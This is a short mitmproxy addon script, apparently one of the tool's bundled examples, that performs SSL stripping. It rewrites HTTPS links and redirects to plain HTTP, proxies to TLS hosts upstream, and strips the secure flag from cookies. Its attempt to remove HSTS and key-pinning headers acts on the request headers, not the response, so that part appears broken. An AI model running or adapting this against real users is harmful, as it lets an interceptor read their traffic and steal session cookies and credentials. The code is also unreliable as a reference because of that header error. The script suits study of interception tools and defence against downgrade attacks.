mitmproxy/examples/sslstrip.py

from netlib.http import decoded
import re
from six.moves import urllib


def start(context):
    # set of SSL/TLS capable hosts
    context.secure_hosts = set()


def request(context, flow):
    flow.request.headers.pop('If-Modified-Since', None)
    flow.request.headers.pop('Cache-Control', None)

    # proxy connections to SSL-enabled hosts
    if flow.request.pretty_host in context.secure_hosts:
        flow.request.scheme = 'https'
        flow.request.port = 443


def response(context, flow):
    with decoded(flow.response):
        flow.request.headers.pop('Strict-Transport-Security', None)
        flow.request.headers.pop('Public-Key-Pins', None)

        # strip links in response body
        flow.response.content = flow.response.content.replace('https://', 'http://')

        # strip links in 'Location' header
        if flow.response.headers.get('Location', '').startswith('https://'):
            location = flow.response.headers['Location']
            hostname = urllib.parse.urlparse(location).hostname
            if hostname:
                context.secure_hosts.add(hostname)
            flow.response.headers['Location'] = location.replace('https://', 'http://', 1)

        # strip secure flag from 'Set-Cookie' headers
        cookies = flow.response.headers.get_all('Set-Cookie')
        cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies]
        flow.response.headers.set_all('Set-Cookie', cookies)